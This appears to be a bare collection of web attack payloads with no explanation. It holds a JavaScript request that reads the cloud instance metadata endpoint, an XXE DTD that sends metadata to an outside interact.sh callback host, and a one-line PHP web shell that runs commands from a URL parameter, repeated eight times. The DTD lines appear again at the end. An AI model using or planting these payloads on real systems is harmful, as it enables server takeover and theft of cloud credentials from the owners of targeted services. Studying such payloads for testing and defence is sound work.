Rohit Verma rv0x00

## script.js
x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open(‘GET’,’http://169.254.169.254/latest/meta-data/hostname’);x.send();

## evil.dtd
<!ENTITY % data SYSTEM "http://169.254.169.254/latest/meta-data/">
<!ENTITY % inception "<!ENTITY exfil SYSTEM 'http://cb1tq0w2vtc000017n40gfo7mooyyyyyb.interact.sh/data?%data;'>">

## shell.txt
<?php system($_GET['cmd']); ?>

## shell.txt
<?php system($_GET['cmd']); ?>

## shell.txt
<?php system($_GET['cmd']); ?>

## shell.txt
<?php system($_GET['cmd']); ?>

## shell.txt
<?php system($_GET['cmd']); ?>

## shell.txt
<?php system($_GET['cmd']); ?>

## shell.txt
<?php system($_GET['cmd']); ?>

## shell.txt
<?php system($_GET['cmd']); ?>
	<!ENTITY % data SYSTEM "http://169.254.169.254/latest/meta-data/">
	<!ENTITY % inception "<!ENTITY exfil SYSTEM 'http://cb1tq0w2vtc000017n40gfo7mooyyyyyb.interact.sh/data?%data;'>">